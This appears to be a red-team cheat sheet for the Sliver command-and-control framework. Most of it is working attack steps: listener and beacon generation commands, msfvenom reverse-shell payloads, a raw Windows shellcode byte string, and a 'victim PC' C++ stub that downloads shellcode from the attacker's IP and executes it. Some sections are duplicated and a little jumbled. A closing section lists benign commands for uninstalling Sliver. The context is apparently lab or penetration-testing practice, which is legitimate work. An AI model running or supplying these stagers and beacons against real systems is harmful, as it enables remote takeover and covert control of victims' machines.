


SLIVER C2

Table of Contents

- [Initial Stager Commands](#)
- [Shellcode Stager \(Custom C++ Runner-related sliver Post-Op\)](#)
- [Initial Beacon Commands](#)
-  [HTTPS Beacon \(Sliver-C2\)](#)
 - [Removing Sliver \(when installed using pipe2sudoBash\)](#)

Initial Stager Commands

```
<ATTACKER PC>
bash$ sliver-server <installed with sudo apt install sliver -y>
sliver> mtlS -l 9900 //check with jobs
sliver> profiles new --mtls 192.168.8.130:9900 -l -f shellcode m_shellcode
//check:profiles
sliver> stage-listener -u http://192.168.8.130:9443 -p m_shellcode
OR
sliver> stage-listener -u tcp://192.168.8.130:1234 -p m_shellcode //check:jobs
sliver> generate stager --lhost 192.168.8.130 --lport 9443 --arch amd64 --format raw
--save /tmp

=====
<ATTACKER PC, DIFFERENT TERMINAL>
$msfvenom -p windows/x64/custom/reverse_winhttp lhost=eth1 lport=9443
LURI=/what.woff -f exe -o http9443.exe
$msfvenom -p windows/x64/custom/reverse_tcp lhost=eth1 lport=1234 LURI=/what.woff -f
exe -o tcp1234.exe

=====
<VICTIM PC, Windows>
Visual Studio
int main()
{
    auto sc = download("192.168.8.130", "/test.txt ", 9443);
    run_shellcode(sc);
    return 0;
}
```

Shellcode Stager (Custom C++ Runner-related sliver Post-Op)

```
<ATTACKER PC>
bash$ sliver-server <installed with sudo apt install sliver -y>
sliver> profiles new --mtls 192.168.8.130 --format shellcode win-shellcode //check
with profiles
sliver> stage-listener --url http://192.168.8.130:9001 --profile win-shellcode
//check:profiles, jobs
sliver> generate stager --lhost 192.168.8.130 --lport 9001 --protocol http --save
/tmp
[*] Sliver implant stager saved to: /tmp/DELIGHTFUL_GOSLING
sliver> mtlS
```

```

=====
<ATTACKER PC, DIFFERENT TERMINAL>
bash$ cd /tmp
bash$ mv DELIGHTFUL_GOSLING test.txt
bash$ uploadserver 9443
# SAMPLE CALC PAYLOAD BIN IN /TMP FOLDER
echo -en
'\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x6
5\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4
a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe
2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x4
8\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4
8\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x4
1\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x2
4\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x0
1\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xf
f\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x0
0\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb
5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe
0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x6
5\x78\x65\x00' > test.txt
=====

<VICTIM PC, Windows>
Visual Studio
int main()
{
    auto sc = download("192.168.8.130", "/test.txt ", 9443);
    run_shellcode(sc);
    return 0;
}

```

Initial Beacon Commands

```

<ATTACKER PC>
bash$ sliver-server <installed with sudo apt install sliver -y>
sliver> http -l 9001 //check with jobs
sliver> profiles new beacon --http http://192.168.8.130:9001 -f shellcode http_win
//check:profiles
sliver> stage-listener --profile http_win --url http://192.168.8.130:9001
//check:jobs
[server] sliver > stage-listener --profile http_win --url http://192.168.8.130:9010
sliver> generate beacon -f shellcode --http http://192.168.8.130:9010 --os windows -
-arch amd64 --save /tmp/test.txt
=====

<ATTACKER PC, DIFFERENT TERMINAL>
bash$ cd /tmp
bash$ uploadserver 9443
=====

<VICTIM PC, Windows>
Visual Studio
int main()
{
    auto sc = download("192.168.8.130", "/test.txt ", 9443);
    run_shellcode(sc);
}

```

```
    return 0;
}
```

HTTPS Beacon (Sliver-C2)

```
<ATTACKER PC>
bash$ sliver-server <installed with sudo apt install sliver -y>
sliver> https --lhost 192.168.8.130 --lport 443 --website https://google.com
# Or with custom certificate (optional)
sliver> https --lhost 192.168.8.130 --lport 443 --cert /path/to/cert.pem --key
/path/to/key.pem
# Create HTTPS profile
profiles new beacon --https https://192.168.8.130:443 -f shellcode https_win
# Create shellcode With beacon interval
generate beacon --https 192.168.8.130:443 --os windows --arch amd64 --format
shellcode --save /tmp/https_beacon.bin --beacon 60s
sliver> profiles new beacon --http http://192.168.8.130:9001 -f shellcode http_win
//check:profiles
sliver> stage-listener --profile http_win --url http://192.168.8.130:9001
//check:jobs
[server] sliver > stage-listener --profile http_win --url http://192.168.8.130:9010
sliver> generate beacon -f shellcode --http http://192.168.8.130:9010 --os windows -
--arch amd64 --save /tmp/test.txt
=====

<ATTACKER PC, DIFFERENT TERMINAL>
bash$ cd /tmp
bash$ uploadserver 9443
=====

<VICTIM PC, Windows>
Visual Studio
int main()
{
    auto sc = download("192.168.8.130", "/test.txt ", 9443);
    run_shellcode(sc);
    return 0;
}
```

Removing Sliver (when installed using pipe2sudoBash)

```
# Remove the Sliver binary
sudo rm -f /usr/local/bin/sliver
sudo rm -f /usr/local/bin/sliver-server

# Remove the entire Sliver directory
sudo rm -rf /root/.sliver
sudo rm -rf /home/$USER/.sliver

# Remove system-wide Sliver files
sudo rm -rf /opt/sliver
sudo rm -rf /var/log/sliver
```

```
# Remove Sliver from systemd (if installed)
sudo systemctl stop sliver
sudo systemctl disable sliver
sudo rm -f /etc/systemd/system/sliver.service
sudo systemctl daemon-reload

# Remove Sliver from PATH and environment
Check and remove from shell profiles
sudo rm -f /etc/profile.d/sliver.sh

# Remove Temporary Files
sudo rm -rf /tmp/sliver*

# Check your shell profiles and remove sliver aliases
sed -i '/sliver/d' ~/.bashrc
sed -i '/sliver/d' ~/.zshrc
sed -i '/sliver/d' ~/.profile
```